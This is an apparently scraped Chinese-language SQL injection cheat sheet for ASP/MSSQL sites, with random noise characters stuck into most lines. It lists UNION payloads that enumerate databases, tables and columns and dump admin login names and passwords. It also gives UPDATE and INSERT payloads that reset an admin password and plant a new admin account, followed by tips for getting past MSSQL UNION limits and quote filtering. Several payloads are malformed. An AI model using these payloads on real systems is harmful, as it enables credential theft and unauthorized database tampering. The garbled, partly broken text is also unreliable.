爆库:
- }5 O; @9 _, }$ `: J+ O% R6 |http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
* W* @) h1 l# E J/ \SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.) r) L1 L9 i% _& c0 M) P& q
爆下一个库:
) [. p9 K$ ^% }! B; S! H/ r& Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--$ q5 m) n5 u" U: T) o
4 C; d9 d, {0 G) _) @8 i爆表:6 M3 G9 E' B0 }. O F' {
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--& U; i" Y7 I, S# J
: Q% a- `& {9 z/ M6 n0 F9 v( [SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.5 k- l# t! V# b* F
5 J9 S% s7 {) C( Q
爆下一个表7 t8 a" ~6 R6 }1 d! V d4 d
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
* Y) A |! z! |! {8 V: [, P
8 P V8 |8 v" I. a$ t7 k: lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--; Y6 q! F# S3 e. K
5 {# L1 G1 }6 U
! p- P5 J& F2 t: e1 n( {1 U* v3 k5 J/ d+ `" G
爆字段:, }' O. S# D3 R$ M7 I0 G
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- T% v2 q- ^. n/ t8 W: @* W9 R% ?$ S
/ [# f) B( I9 Y" l爆下一个字段
8 Z) K* y, y3 X: m( s0 ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--0 |2 K% [8 B0 @" O) v2 Q
& {8 Z5 U) x5 G3 D1 p7 V4 G* ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
+ ~3 K$ u7 K9 S+ G8 \( W+ b, Q5 e' V* L& ?
" V5 D2 A. Y# p' Q
爆字段里的内容! K' D5 r! ^5 g
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
- i ~7 W0 }7 p: F
+ b' o3 E; p0 [http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--7 a% l$ K8 {" U# U, r4 m$ o6 H
! V$ P7 b4 k: p+ h7 H& B2 zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--* h7 T5 H, H& ?+ x/ U" L" C
1 C' X, |* m; s* b- c0 J
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
; O) y, [: I$ p( `( ^- e5 x5 N, Y* ^% j4 [; X( \9 u
更新字段里的内容4 U; i/ g- |. |0 z I, u% m
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--% y* Y. e9 [* m& V% d6 c7 c# K- k
D( r* n0 ~4 V0 \
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
. e! c+ ]- S8 c9 B1 ^6 \5 m' e
5 n. f# J! q1 u9 W6 c7 L
$ I+ [; U' }- [9 h' V9 H& m. g/ n8 y/ c4 ^6 t1 B
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。) V1 s; X% b1 T- v) s$ P: W
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
% S* w8 p" ^% u3 u; P' J# y 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。) z* ~. [. _9 X4 j
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。$ z3 X1 j6 R v# U
' d+ l+ J* `2 B: R. n/ P- H" ?
突了了大部份限制的语句
6 ^+ f. ?; z% j7 v$ zand 1=2 union all select char(49),char(50),null,null;--
* ^/ L4 M% C' t6 ]5 `
/ U- m! O* ^. {' l
, x% Z* p+ @! T2 w" w+ Wnull也可以正常执行,不过没有回显,不好判断回显的列数。" N1 J7 L. I$ I1 \
一般union遇到问题都是有text或者ntext字段,image的很少遇到
8 y9 S8 r8 m- i: E
2 Q( C5 t1 n1 ?) {9 J7 Z# C可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
7 B& J0 K* V$ E$ _9 ]+ a6 t# f& F; o( |+ j, r4 y% l
3 ?# Z" X& f! n8 L( o* J |